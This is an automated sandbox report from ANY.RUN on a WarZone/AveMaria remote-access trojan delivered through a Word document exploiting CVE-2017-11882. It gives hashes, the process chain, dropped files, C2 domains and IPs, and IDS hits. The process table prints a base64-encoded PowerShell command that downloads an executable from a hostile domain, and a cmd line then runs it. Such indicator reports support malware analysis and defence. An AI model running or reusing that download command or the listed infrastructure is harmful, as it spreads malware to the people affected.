analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

4d13d3666215f6b8dc7ad90686688a3f(1).zip

Full analysis: https://app.any.run/tasks/25428c80-2ff5-4cd0-bdd6-99127989b092
Verdict: Malicious activity
Threats:

WarZone RAT is a remote access trojan, which is written in C++ and offered as a malware-as-a-service. It packs a wide range of capabilities, from stealing victims’ files and passwords to capturing desktop activities. WarZone RAT is primarily distributed via phishing emails and receives regular updates from its C2.

Malware Trends Tracker     >>>
Analysis date: April 15, 2019, 07:26:06
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
exploit
CVE-2017-11882
trojan
stealer
rat
avemaria
Indicators:
MIME: application/zip
File info: Zip archive data, at least v2.0 to extract
MD5:

88C7D41A5EC4AB9CBB7A4D4DA32B8380

SHA1:

BA3923B53547C6B14E7B700EB9CC8D860C667026

SHA256:

BD47B35469821A4567AACAC91EAD1B7ED247E61663473D8DC2CA6F7F0CA4A482

SSDEEP:

48:9YL5P+dpVjwoV7rtby4m6fEflxH8WOJ0pD93cfj2kIwTZjeedLEgD0khDcy1epQd:ONaflb5fEfr40pZUUde5Rhp25jzCF/

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Renames files like Ransomware

      • explorer.exe (PID: 2044)

    • Equation Editor starts application (CVE-2017-11882)

      • EQNEDT32.EXE (PID: 2236)

    • Application was dropped or rewritten from another process

      • vnchost.exe (PID: 2076)
      • images.exe (PID: 2256)
      • zAvKcnena.exe (PID: 1480)

    • Changes the autorun value in the registry

      • vnchost.exe (PID: 2076)

    • Application was injected by another process

      • explorer.exe (PID: 2044)

    • AVEMARIA was detected

      • images.exe (PID: 2256)

    • Runs injected code in another process

      • images.exe (PID: 2256)

    • Connects to CnC server

      • images.exe (PID: 2256)

  • SUSPICIOUS

    • Creates files in the user directory

      • explorer.exe (PID: 2044)
      • powershell.exe (PID: 2100)
      • EQNEDT32.EXE (PID: 2236)
      • vnchost.exe (PID: 2076)
      • images.exe (PID: 2256)

    • Reads Internet Cache Settings

      • explorer.exe (PID: 2044)

    • Reads internet explorer settings

      • EQNEDT32.EXE (PID: 2236)

    • Executes PowerShell scripts

      • EQNEDT32.EXE (PID: 2236)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 2100)
      • vnchost.exe (PID: 2076)
      • images.exe (PID: 2256)

    • Starts itself from another location

      • vnchost.exe (PID: 2076)

    • Reads the machine GUID from the registry

      • images.exe (PID: 2256)

    • Loads DLL from Mozilla Firefox

      • images.exe (PID: 2256)

  • INFO

    • Starts Microsoft Office Application

      • explorer.exe (PID: 2044)

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 3820)

    • Creates files in the user directory

      • WINWORD.EXE (PID: 3820)

    • Dropped object may contain Bitcoin addresses

      • powershell.exe (PID: 2100)
      • vnchost.exe (PID: 2076)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.zip | ZIP compressed archive (100)

EXIF

ZIP

ZipFileName: 4d13d3666215f6b8dc7ad90686688a3f
ZipUncompressedSize: 14081
ZipCompressedSize: 3473
ZipCRC: 0x3aad9773
ZipModifyDate: 2019:04:15 10:11:28
ZipCompression: Deflated
ZipBitFlag: 0x0009
ZipRequiredVersion: 20
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
43
Monitored processes
9
Malicious processes
4
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start inject drop and start winrar.exe no specs winword.exe no specs eqnedt32.exe powershell.exe cmd.exe no specs vnchost.exe #AVEMARIA images.exe explorer.exe zavkcnena.exe

Process information

PID
CMD
Path
Indicators
Parent process
2172"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\4d13d3666215f6b8dc7ad90686688a3f(1).zip"C:\Program Files\WinRAR\WinRAR.exe—explorer.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Version:
5.60.0
3820"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\4d13d3666215f6b8dc7ad90686688a3f.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
2236"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -EmbeddingC:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
svchost.exe
User:
admin
Company:
Design Science, Inc.
Integrity Level:
MEDIUM
Description:
Microsoft Equation Editor
Exit code:
0
Version:
00110900
2100"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w 1 -e aQBlAHgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABmAGkAbABlACgAIgBoAHQAdABwAHMAOgAvAC8AaAB1AG0AbwByAHIANQAuAHAAdwAvAGYAaQBsAGUALgBlAHgAZQAiACwAIgAkAGUAbgB2ADoAdABlAG0AcABcAHYAbgBjAGgAbwBzAHQALgBlAHgAZQAiACkAKQA7AA==C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
EQNEDT32.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2352cmd /c %temp%\vnchost.exeC:\Windows\system32\cmd.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2076C:\Users\admin\AppData\Local\Temp\vnchost.exeC:\Users\admin\AppData\Local\Temp\vnchost.exe
cmd.exe
User:
admin
Company:
Caterpillar
Integrity Level:
MEDIUM
Description:
Intentinal Hull Insert
Exit code:
0
Version:
2.7.37.2
2256"C:\Users\admin\AppData\Roaming\images.exe"C:\Users\admin\AppData\Roaming\images.exe
vnchost.exe
User:
admin
Company:
Caterpillar
Integrity Level:
MEDIUM
Description:
Intentinal Hull Insert
Version:
2.7.37.2
2044C:\Windows\Explorer.EXEC:\Windows\explorer.exe
—
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Explorer
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
1480"C:\Users\admin\AppData\Roaming\zAvKcnena.exe" C:\Users\admin\AppData\Roaming\zAvKcnena.exe
images.exe
User:
admin
Company:
Bandisoft
Integrity Level:
MEDIUM
Description:
Lampshades Atto Phone Prescribing
Version:
1.1.18.399
Total events
5 141
Read events
4 622
Write events
0
Delete events
0

Modification events

No data
Executable files
4
Suspicious files
2
Text files
9
Unknown types
8

Dropped files

PID
Process
Filename
Type
3820WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR9279.tmp.cvr —
MD5:—
SHA256:—
2100powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ZSI378NGTEPPSBTSF0JX.temp —
MD5:—
SHA256:—
3820WINWORD.EXEC:\Users\admin\Desktop\~$13d3666215f6b8dc7ad90686688a3f.docpgc
MD5:69764437F88331A86827ADA1155EF20D
SHA256:E89FD78FF8AAB093390D055B769FAEF9E8AF4C97A9E132B0E0AFCFE7F6921316
3820WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:208BD97EF712320CCE7FFF79F1E5750C
SHA256:8CFAD8A7CE82D2E7FEBC553699F5AC206F0F5DCFBBF0E47741F6B9214CD8767A
2044explorer.exeC:\Users\admin\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012019041520190416\index.datdat
MD5:93AB91DA2E8F4334899EA62FA79B1E40
SHA256:AACF0D0CD9619965288DB0F6E395282C6203818DF49A2D424096538A492E0A7C
3820WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.dattext
MD5:C4F61C7BC3AAA14E48AC0053FA9D5FDD
SHA256:4BD1FDFB29E13521FC75C1CC6470C4E193D69FFA195687C68AE96CB24685D679
2172WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRb2172.19337\4d13d3666215f6b8dc7ad90686688a3ftext
MD5:4D13D3666215F6B8DC7AD90686688A3F
SHA256:4D8831712F5C4E8BF5FD15D3EC0E199651A01754D7614A14EB6A118223F2C9BB
2044explorer.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\4d13d3666215f6b8dc7ad90686688a3f.doc.lnklnk
MD5:13A07755897E886DCEC62623841C6AA8
SHA256:36FE2D004636875833A6C30426EA1FE4D1E930BE6EA7EB907B3D52B90650FEF3
2256images.exeC:\Users\admin\AppData\Roaming\.jBhsyD.tmp —
MD5:—
SHA256:—
2100powershell.exeC:\Users\admin\AppData\Local\Temp\vnchost.exeexecutable
MD5:695712CA4CA9DD0508E598BE9E8F842E
SHA256:D7C3F7DB5EFEEC9AEAE446CD96DAC4BCFDA0F5F0CFCEA21F0ABCAC714B286C1A
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
7
DNS requests
2
Threats
0

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2236
EQNEDT32.EXE
104.20.209.21:443
pastebin.com
Cloudflare Inc
US
shared
2256
images.exe
104.28.2.194:443
humorr5.pw
Cloudflare Inc
US
shared
2256
images.exe
194.68.59.48:2318
—
Inleed AB
SE
suspicious
1480
zAvKcnena.exe
194.68.59.48:8595
—
Inleed AB
SE
suspicious
2100
powershell.exe
104.28.2.194:443
humorr5.pw
Cloudflare Inc
US
shared

DNS requests

Domain
IP
Reputation
pastebin.com
  • 104.20.209.21
  • 104.20.208.21
shared
humorr5.pw
  • 104.28.2.194
  • 104.28.3.194
suspicious

Threats

PID
Process
Class
Message
—
—
Potentially Bad Traffic
ET DNS Query to a *.pw domain - Likely Hostile
2256
images.exe
A Network Trojan was detected
MALWARE [PTsecurity] AveMaria.RAT Encrypted Checkin
2256
images.exe
A Network Trojan was detected
MALWARE [PTsecurity] AveMaria.RAT Connection
2256
images.exe
Generic Protocol Command Decode
SURICATA STREAM excessive retransmissions
2 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
4d13d3666215f6b8dc7ad90686688a3f(1).zip